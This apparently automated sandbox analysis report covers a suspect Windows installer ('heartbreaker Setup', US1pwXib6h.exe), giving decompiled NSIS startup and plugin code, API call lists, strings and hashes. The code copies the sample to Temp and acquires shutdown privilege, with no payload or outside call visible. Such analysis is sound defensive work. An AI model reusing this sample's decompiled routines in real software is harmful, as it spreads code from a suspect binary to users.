															_t60 =  *_t106(GetCurrentProcess(), 0x28,  &_v396);
															__eflags = _t60;
															if(_t60 != 0) {
																 *_t100(0, "SeShutdownPrivilege",  &_v400);
																_v416 = 1;
																_v404 = 2;
																 *_t97(_v420, 0,  &_v416, 0, 0, 0);
															}
														}
													}
												}
												_t56 = ExitWindowsEx(2, 0);
												__eflags = _t56;
												if(_t56 == 0) {
													E0040140B(9);
												}
											}
											_t52 =  *0x423f2c; // 0xffffffff
											__eflags = _t52 - 0xffffffff;
											if(_t52 != 0xffffffff) {
												_v400 = _t52;
											}
											ExitProcess(_v400);
										}
										E0040529E(_v408, 0x200010);
										ExitProcess(2);
									}
									_t113 =  *0x423e9c; // 0x0
									if(_t113 == 0) {
										L31:
										 *0x423f2c =  *0x423f2c | 0xffffffff;
										_v400 = E00403526();
										goto L32;
									}
									_t103 = E004054FB(_t96, 0);
									while(_t103 >= _t96) {
										__eflags =  *_t103 - 0x3d3f5f20;
										if(__eflags == 0) {
											break;
										}
										_t103 = _t103 - 1;
										__eflags = _t103;
									}
									_t115 = _t103 - _t96;
									_v408 = "Error launching installer";
									if(_t103 < _t96) {
										lstrcatA(_t105, "~nsu.tmp");
										_t101 = "C:\\Users\\engineer\\Desktop";
										if(lstrcmpiA(_t105, "C:\\Users\\engineer\\Desktop") == 0) {
											goto L32;
										}
										CreateDirectoryA(_t105, 0);
										SetCurrentDirectoryA(_t105);
										_t120 = "C:\\Users\\engineer\\AppData\\Local\\Temp"; // 0x43
										if(_t120 == 0) {
											E004059DD("C:\\Users\\engineer\\AppData\\Local\\Temp", _t101);
										}
										E004059DD(0x424000, _v396);
										 *0x424400 = 0x41;
										_t98 = 0x1a;
										do {
											_t71 =  *0x423e90; // 0x7afb48
											E004059FF(0, _t98, 0x41f030, 0x41f030,  *((intOrPtr*)(_t71 + 0x120)));
											DeleteFileA(0x41f030);
											if(_v416 != 0 && CopyFileA("C:\\Users\\engineer\\Desktop\\US1pwXib6h.exe", 0x41f030, 1) != 0) {
												_push(0);
												_push(0x41f030);
												E0040572B();
												_t77 =  *0x423e90; // 0x7afb48
												E004059FF(0, _t98, 0x41f030, 0x41f030,  *((intOrPtr*)(_t77 + 0x124)));
												_t79 = E0040523D(0x41f030);
												if(_t79 != 0) {
													CloseHandle(_t79);
													_v416 = 0;
												}
											}
											 *0x424400 =  *0x424400 + 1;
											_t98 = _t98 - 1;
										} while (_t98 != 0);
										_push(0);
										_push(_t105);
										E0040572B();
										goto L32;
									}
									 *_t103 = 0;
									_t104 = _t103 + 4;
									if(E004055B1(_t115, _t103 + 4) == 0) {
										goto L32;
									}
									E004059DD("C:\\Users\\engineer\\AppData\\Local\\Temp", _t104);
									E004059DD("C:\\Users\\engineer\\AppData\\Local\\Temp", _t104);
									_v424 = 0;
									goto L31;
								}
								GetWindowsDirectoryA(_t105, 0x3fb);
								lstrcatA(_t105, "\\Temp");
								_t89 = E00403097(_t110);
								_t111 = _t89;
								if(_t89 == 0) {
									goto L32;
								}
								goto L22;
							}
							goto L15;
						}
					} else {
						goto L4;
					}
					do {
						L4:
						_t44 = _t44 + 1;
						__eflags =  *_t44 - 0x20;
					} while ( *_t44 == 0x20);
					goto L5;
				}
				goto L20;
			}

0x004030d7
0x004030db
0x004030e3
0x004030e5
0x004030ea
0x004030f5
0x004030fc
0x00403104
0x0040310e
0x00403124
0x00403134
0x00403139
0x0040313f
0x00403146
0x00403159
0x0040315e
0x00403160
0x00403162
0x00403167
0x00403167
0x00403177
0x0040317d
0x004031e6
0x004031e6
0x004031e8
0x004031ea
0x00000000
0x00000000
0x00403183
0x00403186
0x0040318e
0x0040318e
0x00403191
0x00403196
0x00403198
0x00403198
0x00403199
0x00403199
0x0040319e
0x004031a1
0x004031d6
0x004031db
0x004031e0
0x004031e3
0x004031e5
0x004031e5
0x004031e5
0x00000000
0x004031a3
0x004031a3
0x004031a4
0x004031a7
0x004031af
0x004031b2
0x004031b4
0x004031b4
0x004031b4
0x004031b2
0x004031b7
0x004031bd
0x004031c5
0x004031c8
0x004031ca
0x004031ca
0x004031ca
0x004031c8
0x004031cd
0x004031d4
0x004031ee
0x004031f1
0x004031f1
0x004031fa
0x004031ff
0x004031ff
0x0040320a
0x00403210
0x00403215
0x00403217
0x00403239
0x0040323e
0x00403245
0x0040324c
0x00403250
0x004032b7
0x004032b7
0x004032bc
0x004032c6
0x004033b1
0x004033b7
0x004033c2
0x004033cb
0x004033cd
0x004033d2
0x004033d4
0x004033d6
0x004033d8
0x004033da
0x004033dc
0x004033de
0x004033ee
0x004033f0
0x004033f2
0x004033ff
0x0040340e
0x00403416
0x0040341e
0x0040341e
0x004033f2
0x004033de
0x004033da
0x00403423
0x00403429
0x0040342b
0x0040342f
0x0040342f
0x0040342b
0x00403434
0x00403439
0x0040343c
0x0040343e
0x0040343e
0x00403446
0x00403446
0x004032d5
0x004032dc
0x004032dc
0x00403252
0x00403258
0x004032a7
0x004032a7
0x004032b3
0x00000000
0x004032b3
0x00403261
0x0040326e
0x00403265
0x0040326b
0x00000000
0x00000000
0x0040326d
0x0040326d
0x0040326d
0x00403272
0x00403274
0x0040327c
0x004032e8
0x004032ed
0x004032fc
0x00000000
0x00000000
0x00403300
0x00403307
0x0040330d
0x00403313
0x0040331b
0x0040331b
0x00403329
0x00403330
0x00403339
0x0040333f
0x0040333f
0x0040334b
0x00403351
0x0040335b
0x0040336f
0x00403370
0x00403371
0x00403376
0x00403382
0x00403388
0x0040338f
0x00403392
0x00403398
0x00403398
0x0040338f
0x0040339c
0x004033a2
0x004033a2
0x004033a5
0x004033a6
0x004033a7
0x00000000
0x004033a7
0x0040327e
0x00403280
0x0040328b
0x00000000
0x00000000
0x00403293
0x0040329e
0x004032a3
0x00000000
0x004032a3
0x0040321f
0x0040322b
0x00403230
0x00403235
0x00403237
0x00000000
0x00000000
0x00000000
0x00403237
0x00000000
0x004031d4
0x00000000
0x00000000
0x00000000
0x00403188
0x00403188
0x00403188
0x00403189
0x00403189
0x00000000
0x00403188
0x00000000

APIs

#17.COMCTL32 ref: 004030EA
SetErrorMode.KERNELBASE(00008001), ref: 004030F5
OleInitialize.OLE32(00000000), ref: 004030FC

Part of subcall function 00405CFF: GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
Part of subcall function 00405CFF: LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
Part of subcall function 00405CFF: GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

SHGetFileInfoA.SHELL32(0041F430,00000000,?,00000160,00000000,00000008), ref: 00403124

Part of subcall function 004059DD: lstrcpynA.KERNEL32(?,?,00000400,00403139,heartbreaker Setup,NSIS Error), ref: 004059EA

GetCommandLineA.KERNEL32(heartbreaker Setup,NSIS Error), ref: 00403139
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\US1pwXib6h.exe" ,00000000), ref: 0040314C
CharNextA.USER32(00000000,"C:\Users\user\Desktop\US1pwXib6h.exe" ,00000020), ref: 00403177
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040320A
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040321F
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040322B
DeleteFileA.KERNELBASE(1033), ref: 0040323E
OleUninitialize.OLE32(00000000), ref: 004032BC
ExitProcess.KERNEL32 ref: 004032DC
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\US1pwXib6h.exe" ,00000000,00000000), ref: 004032E8
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\US1pwXib6h.exe" ,00000000,00000000), ref: 004032F4
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403300
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403307
DeleteFileA.KERNEL32(0041F030,0041F030,?,00424000,?), ref: 00403351
CopyFileA.KERNEL32(C:\Users\user\Desktop\US1pwXib6h.exe,0041F030,00000001), ref: 00403365
CloseHandle.KERNEL32(00000000,0041F030,0041F030,?,0041F030,00000000), ref: 00403392
GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 004033E7
ExitWindowsEx.USER32(00000002,00000000), ref: 00403423
ExitProcess.KERNEL32 ref: 00403446

Strings

C:\Users\user\Desktop, xrefs: 004032ED, 004032F2, 00403315
SeShutdownPrivilege, xrefs: 004033F9
1033, xrefs: 00403239
C:\Users\user\AppData\Local\Temp, xrefs: 00403299
NSIS Error, xrefs: 0040312A
heartbreaker Setup, xrefs: 0040312F
Error launching installer, xrefs: 00403274
C:\Users\user\AppData\Local\Temp\, xrefs: 004031FF, 00403204, 0040321E, 0040322A, 004032E7, 004032F3, 004032FF, 00403306, 004033A6
C:\Users\user\Desktop\US1pwXib6h.exe, xrefs: 00403360
", xrefs: 00403199
NCRC, xrefs: 004031B7
C:\Users\user\AppData\Local\Temp, xrefs: 004031F5, 0040328E, 0040330D, 00403316
_?=, xrefs: 00403265
~nsu.tmp, xrefs: 004032E2
/D=, xrefs: 004031CD
"C:\Users\user\Desktop\US1pwXib6h.exe" , xrefs: 0040313F, 00403145, 0040325B
\Temp, xrefs: 00403225

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$DirectoryExitHandleProcess$CurrentDeleteModuleWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$"$"C:\Users\user\Desktop\US1pwXib6h.exe" $1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\US1pwXib6h.exe$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$heartbreaker Setup$~nsu.tmp
API String ID: 2278157092-3484728208
Opcode ID: dac8a3e4b42874552ff3bf8d63fabb06b1ed44114a57f908459e075a30442c4d
Instruction ID: cc286ec977d2638fbe9c092aa5ad16f4889e12429ffafd7da1ab197300c5bae6
Opcode Fuzzy Hash: dac8a3e4b42874552ff3bf8d63fabb06b1ed44114a57f908459e075a30442c4d
Instruction Fuzzy Hash: 9691B170A08340AED7216F619D49B6B7EACEB0530AF44047FF581B62D2C77C9E458B6E

Uniqueness

Uniqueness Score: -1.00%

Function 73861A98, Relevance: 25.1, APIs: 13, Strings: 1, Instructions: 591
stringlibrarymemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E73861A98() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				CHAR* _v24;
				CHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				CHAR* _v48;
				signed int _v52;
				void* _v56;
				intOrPtr _v60;
				CHAR* _t207;
				signed int _t210;
				void* _t212;
				void* _t214;
				CHAR* _t216;
				void* _t224;
				struct HINSTANCE__* _t225;
				struct HINSTANCE__* _t226;
				struct HINSTANCE__* _t228;
				signed short _t230;
				struct HINSTANCE__* _t233;
				struct HINSTANCE__* _t235;
				void* _t236;
				char* _t237;
				void* _t248;
				signed char _t249;
				signed int _t250;
				void* _t254;
				struct HINSTANCE__* _t256;
				void* _t257;
				signed int _t259;
				intOrPtr _t260;
				char* _t263;
				signed int _t268;
				signed int _t271;
				signed int _t273;
				void* _t276;
				void* _t280;
				struct HINSTANCE__* _t282;
				intOrPtr _t285;
				void _t286;
				signed int _t287;
				signed int _t299;
				signed int _t300;
				intOrPtr _t303;
				void* _t304;
				signed int _t308;
				signed int _t311;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				intOrPtr _t319;
				intOrPtr* _t320;
				CHAR* _t321;
				CHAR* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				void* _t327;
				signed int _t328;
				void* _t329;

				_t282 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v8 = 0;
				_v40 = 0;
				_t329 = 0;
				_v52 = 0;
				_v44 = 0;
				_t207 = E73861215();
				_v24 = _t207;
				_v28 = _t207;
				_v48 = E73861215();
				_t320 = E7386123B();
				_v56 = _t320;
				_v12 = _t320;
				while(1) {
					_t210 = _v32;
					_v60 = _t210;
					if(_t210 != _t282 && _t329 == _t282) {
						break;
					}
					_t319 =  *_t320;
					_t285 = _t319;
					_t212 = _t285 - _t282;
					if(_t212 == 0) {
						_t37 =  &_v32;
						 *_t37 = _v32 | 0xffffffff;
						__eflags =  *_t37;
						L20:
						_t214 = _v60 - _t282;
						if(_t214 == 0) {
							 *_v28 =  *_v28 & 0x00000000;
							__eflags = _t329 - _t282;
							if(_t329 == _t282) {
								_t254 = GlobalAlloc(0x40, 0x14a4); // executed
								_t329 = _t254;
								 *(_t329 + 0x810) = _t282;
								 *(_t329 + 0x814) = _t282;
							}
							_t286 = _v36;
							_t47 = _t329 + 8; // 0x8
							_t216 = _t47;
							_t48 = _t329 + 0x408; // 0x408
							_t321 = _t48;
							 *_t329 = _t286;
							 *_t216 =  *_t216 & 0x00000000;
							 *(_t329 + 0x808) = _t282;
							 *_t321 =  *_t321 & 0x00000000;
							_t287 = _t286 - _t282;
							__eflags = _t287;
							 *(_t329 + 0x80c) = _t282;
							 *(_t329 + 4) = _t282;
							if(_t287 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L42;
								}
								_t327 = 0;
								GlobalFree(_t329);
								_t329 = E738612FE(_v24);
								__eflags = _t329 - _t282;
								if(_t329 == _t282) {
									goto L42;
								} else {
									goto L35;
								}
								while(1) {
									L35:
									_t248 =  *(_t329 + 0x14a0);
									__eflags = _t248 - _t282;
									if(_t248 == _t282) {
										break;
									}
									_t327 = _t329;
									_t329 = _t248;
									__eflags = _t329 - _t282;
									if(_t329 != _t282) {
										continue;
									}
									break;
								}
								__eflags = _t327 - _t282;
								if(_t327 != _t282) {
									 *(_t327 + 0x14a0) = _t282;
								}
								_t249 =  *(_t329 + 0x810);
								__eflags = _t249 & 0x00000008;
								if((_t249 & 0x00000008) == 0) {
									_t250 = _t249 | 0x00000002;
									__eflags = _t250;
									 *(_t329 + 0x810) = _t250;
								} else {
									_t329 = E73861534(_t329);
									 *(_t329 + 0x810) =  *(_t329 + 0x810) & 0xfffffff5;
								}
								goto L42;
							} else {
								_t299 = _t287 - 1;
								__eflags = _t299;
								if(_t299 == 0) {
									L31:
									lstrcpyA(_t216, _v48);
									L32:
									lstrcpyA(_t321, _v24);
									goto L42;
								}
								_t300 = _t299 - 1;
								__eflags = _t300;
								if(_t300 == 0) {
									goto L32;
								}
								__eflags = _t300 != 1;
								if(_t300 != 1) {
									goto L42;
								}
								goto L31;
							}
						} else {
							if(_t214 == 1) {
								_t256 = _v16;
								if(_v40 == _t282) {
									_t256 = _t256 - 1;
								}
								 *(_t329 + 0x814) = _t256;
							}
							L42:
							_v12 = _v12 + 1;
							_v28 = _v24;
							L59:
							if(_v32 != 0xffffffff) {
								_t320 = _v12;
								continue;
							}
							break;
						}
					}
					_t257 = _t212 - 0x23;
					if(_t257 == 0) {
						__eflags = _t320 - _v56;
						if(_t320 <= _v56) {
							L17:
							__eflags = _v44 - _t282;
							if(_v44 != _t282) {
								L43:
								_t259 = _v32 - _t282;
								__eflags = _t259;
								if(_t259 == 0) {
									_t260 = _t319;
									while(1) {
										__eflags = _t260 - 0x22;
										if(_t260 != 0x22) {
											break;
										}
										_t320 = _t320 + 1;
										__eflags = _v44 - _t282;
										_v12 = _t320;
										if(_v44 == _t282) {
											_v44 = 1;
											L162:
											_v28 =  &(_v28[1]);
											 *_v28 =  *_t320;
											L58:
											_t328 = _t320 + 1;
											__eflags = _t328;
											_v12 = _t328;
											goto L59;
										}
										_t260 =  *_t320;
										_v44 = _t282;
									}
									__eflags = _t260 - 0x2a;
									if(_t260 == 0x2a) {
										_v36 = 2;
										L57:
										_t320 = _v12;
										_v28 = _v24;
										_t282 = 0;
										__eflags = 0;
										goto L58;
									}
									__eflags = _t260 - 0x2d;
									if(_t260 == 0x2d) {
										L151:
										_t303 =  *_t320;
										__eflags = _t303 - 0x2d;
										if(_t303 != 0x2d) {
											L154:
											_t263 = _t320 + 1;
											__eflags =  *_t263 - 0x3a;
											if( *_t263 != 0x3a) {
												goto L162;
											}
											__eflags = _t303 - 0x2d;
											if(_t303 == 0x2d) {
												goto L162;
											}
											_v36 = 1;
											L157:
											_v12 = _t263;
											__eflags = _v28 - _v24;
											if(_v28 <= _v24) {
												 *_v48 =  *_v48 & 0x00000000;
											} else {
												 *_v28 =  *_v28 & 0x00000000;
												lstrcpyA(_v48, _v24);
											}
											goto L57;
										}
										_t263 = _t320 + 1;
										__eflags =  *_t263 - 0x3e;
										if( *_t263 != 0x3e) {
											goto L154;
										}
										_v36 = 3;
										goto L157;
									}
									__eflags = _t260 - 0x3a;
									if(_t260 != 0x3a) {
										goto L162;
									}
									goto L151;
								}
								_t268 = _t259 - 1;
								__eflags = _t268;
								if(_t268 == 0) {
									L80:
									_t304 = _t285 + 0xffffffde;
									__eflags = _t304 - 0x55;
									if(_t304 > 0x55) {
										goto L57;
									}
									switch( *((intOrPtr*)(( *(_t304 + 0x73862259) & 0x000000ff) * 4 +  &M738621CD))) {
										case 0:
											__eax = _v24;
											__edi = _v12;
											while(1) {
												__edi = __edi + 1;
												_v12 = __edi;
												__cl =  *__edi;
												__eflags = __cl - __dl;
												if(__cl != __dl) {
													goto L132;
												}
												L131:
												__eflags =  *(__edi + 1) - __dl;
												if( *(__edi + 1) != __dl) {
													L136:
													 *__eax =  *__eax & 0x00000000;
													__eax = E73861224(_v24);
													__ebx = __eax;
													goto L97;
												}
												L132:
												__eflags = __cl;
												if(__cl == 0) {
													goto L136;
												}
												__eflags = __cl - __dl;
												if(__cl == __dl) {
													__edi = __edi + 1;
													__eflags = __edi;
												}
												__cl =  *__edi;
												 *__eax =  *__edi;
												__eax = __eax + 1;
												__edi = __edi + 1;
												_v12 = __edi;
												__cl =  *__edi;
												__eflags = __cl - __dl;
												if(__cl != __dl) {
													goto L132;
												}
												goto L131;
											}
										case 1:
											_v8 = 1;
											goto L57;
										case 2:
											_v8 = _v8 | 0xffffffff;
											goto L57;
										case 3:
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v16 = _v16 + 1;
											goto L85;
										case 4:
											__eflags = _v20;
											if(_v20 != 0) {
												goto L57;
											}
											_v12 = _v12 - 1;
											__ebx = E73861215();
											 &_v12 = E73861A36( &_v12);
											__eax = E73861429(__edx, __eax, __edx, __ebx);
											goto L97;
										case 5:
											L105:
											_v20 = _v20 + 1;
											goto L57;
										case 6:
											_push(7);
											goto L123;
										case 7:
											_push(0x19);
											goto L143;
										case 8:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L107;
										case 9:
											_push(0x15);
											goto L143;
										case 0xa:
											_push(0x16);
											goto L143;
										case 0xb:
											_push(0x18);
											goto L143;
										case 0xc:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L118;
										case 0xd:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L109;
										case 0xe:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L111;
										case 0xf:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L122;
										case 0x10:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L113;
										case 0x11:
											_push(3);
											goto L123;
										case 0x12:
											_push(0x17);
											L143:
											_pop(__ebx);
											goto L98;
										case 0x13:
											__eax =  &_v12;
											__eax = E73861A36( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											__eflags = __ebx - 0xb;
											if(__ebx < 0xb) {
												__ebx = __ebx + 0xa;
											}
											goto L97;
										case 0x14:
											__ebx = 0xffffffff;
											goto L98;
										case 0x15:
											__eax = 0;
											__eflags = 0;
											goto L116;
										case 0x16:
											__ecx = 0;
											__eflags = 0;
											goto L91;
										case 0x17:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L120;
										case 0x18:
											_t270 =  *(_t329 + 0x814);
											__eflags = _t270 - _v16;
											if(_t270 > _v16) {
												_v16 = _t270;
											}
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v36 - 3 = _t270 - (_v36 == 3);
											if(_t270 != _v36 == 3) {
												L85:
												_v40 = 1;
											}
											goto L57;
										case 0x19:
											L107:
											__ecx = 0;
											_v8 = 2;
											__ecx = 1;
											goto L91;
										case 0x1a:
											L118:
											_push(5);
											goto L123;
										case 0x1b:
											L109:
											__ecx = 0;
											_v8 = 3;
											__ecx = 1;
											goto L91;
										case 0x1c:
											L111:
											__ecx = 0;
											__ecx = 1;
											goto L91;
										case 0x1d:
											L122:
											_push(6);
											goto L123;
										case 0x1e:
											L113:
											_push(2);
											goto L123;
										case 0x1f:
											__eax =  &_v12;
											__eax = E73861A36( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											goto L97;
										case 0x20:
											L116:
											_v52 = _v52 + 1;
											_push(3);
											_pop(__ecx);
											goto L91;
										case 0x21:
											L120:
											_push(4);
											L123:
											_pop(__ecx);
											L91:
											__edi = _v16;
											__edx =  *(0x7386305c + __ecx * 4);
											__eax =  ~__eax;
											asm("sbb eax, eax");
											_v40 = 1;
											__edi = _v16 << 5;
											__eax = __eax & 0x00008000;
											__edi = (_v16 << 5) + __esi;
											__eax = __eax | __ecx;
											__eflags = _v8;
											 *(__edi + 0x818) = __eax;
											if(_v8 < 0) {
												L93:
												__edx = 0;
												__edx = 1;
												__eflags = 1;
												L94:
												__eflags = _v8 - 1;
												 *(__edi + 0x828) = __edx;
												if(_v8 == 1) {
													__eax =  &_v12;
													__eax = E73861A36( &_v12);
													__eax = __eax + 1;
													__eflags = __eax;
													_v8 = __eax;
												}
												__eax = _v8;
												 *((intOrPtr*)(__edi + 0x81c)) = _v8;
												_t136 = _v16 + 0x41; // 0x41
												_t136 = _t136 << 5;
												__eax = 0;
												__eflags = 0;
												 *((intOrPtr*)((_t136 << 5) + __esi)) = 0;
												 *((intOrPtr*)(__edi + 0x830)) = 0;
												 *((intOrPtr*)(__edi + 0x82c)) = 0;
												L97:
												__eflags = __ebx;
												if(__ebx == 0) {
													goto L57;
												}
												L98:
												__eflags = _v20;
												_v40 = 1;
												if(_v20 != 0) {
													L103:
													__eflags = _v20 - 1;
													if(_v20 == 1) {
														__eax = _v16;
														__eax = _v16 << 5;
														__eflags = __eax;
														 *(__eax + __esi + 0x82c) = __ebx;
													}
													goto L105;
												}
												_v16 = _v16 << 5;
												_t144 = __esi + 0x830; // 0x830
												__edi = (_v16 << 5) + _t144;
												__eax =  *__edi;
												__eflags = __eax - 0xffffffff;
												if(__eax <= 0xffffffff) {
													L101:
													__eax = GlobalFree(__eax);
													L102:
													 *__edi = __ebx;
													goto L103;
												}
												__eflags = __eax - 0x19;
												if(__eax <= 0x19) {
													goto L102;
												}
												goto L101;
											}
											__eflags = __edx;
											if(__edx > 0) {
												goto L94;
											}
											goto L93;
										case 0x22:
											goto L57;
									}
								}
								_t271 = _t268 - 1;
								__eflags = _t271;
								if(_t271 == 0) {
									_v16 = _t282;
									goto L80;
								}
								__eflags = _t271 != 1;
								if(_t271 != 1) {
									goto L162;
								}
								__eflags = _t285 - 0x6e;
								if(__eflags > 0) {
									_t308 = _t285 - 0x72;
									__eflags = _t308;
									if(_t308 == 0) {
										_push(4);
										L74:
										_pop(_t273);
										L75:
										__eflags = _v8 - 1;
										if(_v8 != 1) {
											_t96 = _t329 + 0x810;
											 *_t96 =  *(_t329 + 0x810) &  !_t273;
											__eflags =  *_t96;
										} else {
											 *(_t329 + 0x810) =  *(_t329 + 0x810) | _t273;
										}
										_v8 = 1;
										goto L57;
									}
									_t311 = _t308 - 1;
									__eflags = _t311;
									if(_t311 == 0) {
										_push(0x10);
										goto L74;
									}
									__eflags = _t311 != 0;
									if(_t311 != 0) {
										goto L57;
									}
									_push(0x40);
									goto L74;
								}
								if(__eflags == 0) {
									_push(8);
									goto L74;
								}
								_t314 = _t285 - 0x21;
								__eflags = _t314;
								if(_t314 == 0) {
									_v8 =  ~_v8;
									goto L57;
								}
								_t315 = _t314 - 0x11;
								__eflags = _t315;
								if(_t315 == 0) {
									_t273 = 0x100;
									goto L75;
								}
								_t316 = _t315 - 0x31;
								__eflags = _t316;
								if(_t316 == 0) {
									_t273 = 1;
									goto L75;
								}
								__eflags = _t316 != 0;
								if(_t316 != 0) {
									goto L57;
								}
								_push(0x20);
								goto L74;
							} else {
								_v32 = _t282;
								_v36 = _t282;
								goto L20;
							}
						}
						__eflags =  *((char*)(_t320 - 1)) - 0x3a;
						if( *((char*)(_t320 - 1)) != 0x3a) {
							goto L17;
						}
						__eflags = _v32 - _t282;
						if(_v32 == _t282) {
							goto L43;
						}
						goto L17;
					}
					_t276 = _t257 - 5;
					if(_t276 == 0) {
						__eflags = _v44 - _t282;
						if(_v44 != _t282) {
							goto L43;
						} else {
							__eflags = _v36 - 3;
							_v32 = 1;
							_v8 = _t282;
							_v20 = _t282;
							_v16 = (0 | _v36 == 0x00000003) + 1;
							_v40 = _t282;
							goto L20;
						}
					}
					_t280 = _t276 - 1;
					if(_t280 == 0) {
						__eflags = _v44 - _t282;
						if(_v44 != _t282) {
							goto L43;
						} else {
							_v32 = 2;
							_v8 = _t282;
							_v20 = _t282;
							goto L20;
						}
					}
					if(_t280 != 0x16) {
						goto L43;
					} else {
						_v32 = 3;
						_v8 = 1;
						goto L20;
					}
				}
				GlobalFree(_v56);
				GlobalFree(_v24);
				GlobalFree(_v48);
				if(_t329 == _t282 ||  *(_t329 + 0x80c) != _t282) {
					L182:
					return _t329;
				} else {
					_t224 =  *_t329 - 1;
					if(_t224 == 0) {
						_t187 = _t329 + 8; // 0x8
						_t323 = _t187;
						__eflags =  *_t323;
						if( *_t323 != 0) {
							_t225 = GetModuleHandleA(_t323);
							__eflags = _t225 - _t282;
							 *(_t329 + 0x808) = _t225;
							if(_t225 != _t282) {
								L171:
								_t192 = _t329 + 0x408; // 0x408
								_t324 = _t192;
								_t226 = E738615C2( *(_t329 + 0x808), _t324);
								__eflags = _t226 - _t282;
								 *(_t329 + 0x80c) = _t226;
								if(_t226 == _t282) {
									__eflags =  *_t324 - 0x23;
									if( *_t324 == 0x23) {
										_t195 = _t329 + 0x409; // 0x409
										_t230 = E738612FE(_t195);
										__eflags = _t230 - _t282;
										if(_t230 != _t282) {
											__eflags = _t230 & 0xffff0000;
											if((_t230 & 0xffff0000) == 0) {
												 *(_t329 + 0x80c) = GetProcAddress( *(_t329 + 0x808), _t230 & 0x0000ffff);
											}
										}
									}
								}
								__eflags = _v52 - _t282;
								if(_v52 != _t282) {
									L178:
									_t324[lstrlenA(_t324)] = 0x41;
									_t228 = E738615C2( *(_t329 + 0x808), _t324);
									__eflags = _t228 - _t282;
									if(_t228 != _t282) {
										L166:
										 *(_t329 + 0x80c) = _t228;
										goto L182;
									}
									__eflags =  *(_t329 + 0x80c) - _t282;
									L180:
									if(__eflags != 0) {
										goto L182;
									}
									L181:
									_t205 = _t329 + 4;
									 *_t205 =  *(_t329 + 4) | 0xffffffff;
									__eflags =  *_t205;
									goto L182;
								} else {
									__eflags =  *(_t329 + 0x80c) - _t282;
									if( *(_t329 + 0x80c) != _t282) {
										goto L182;
									}
									goto L178;
								}
							}
							_t233 = LoadLibraryA(_t323);
							__eflags = _t233 - _t282;
							 *(_t329 + 0x808) = _t233;
							if(_t233 == _t282) {
								goto L181;
							}
							goto L171;
						}
						_t188 = _t329 + 0x408; // 0x408
						_t235 = E738612FE(_t188);
						 *(_t329 + 0x80c) = _t235;
						__eflags = _t235 - _t282;
						goto L180;
					}
					_t236 = _t224 - 1;
					if(_t236 == 0) {
						_t185 = _t329 + 0x408; // 0x408
						_t237 = _t185;
						__eflags =  *_t237;
						if( *_t237 == 0) {
							goto L182;
						}
						_t228 = E738612FE(_t237);
						L165:
						goto L166;
					}
					if(_t236 != 1) {
						goto L182;
					}
					_t81 = _t329 + 8; // 0x8
					_t283 = _t81;
					_t325 = E738612FE(_t81);
					 *(_t329 + 0x808) = _t325;
					if(_t325 == 0) {
						goto L181;
					}
					 *(_t329 + 0x84c) =  *(_t329 + 0x84c) & 0x00000000;
					 *((intOrPtr*)(_t329 + 0x850)) = E73861224(_t283);
					 *(_t329 + 0x83c) =  *(_t329 + 0x83c) & 0x00000000;
					 *((intOrPtr*)(_t329 + 0x848)) = 1;
					 *((intOrPtr*)(_t329 + 0x838)) = 1;
					_t90 = _t329 + 0x408; // 0x408
					_t228 =  *(_t325->i + E738612FE(_t90) * 4);
					goto L165;
				}
			}

0x73861aa0
0x73861aa3
0x73861aa6
0x73861aa9
0x73861aac
0x73861aaf
0x73861ab2
0x73861ab4
0x73861ab7
0x73861aba
0x73861abf
0x73861ac2
0x73861aca
0x73861ad2
0x73861ad4
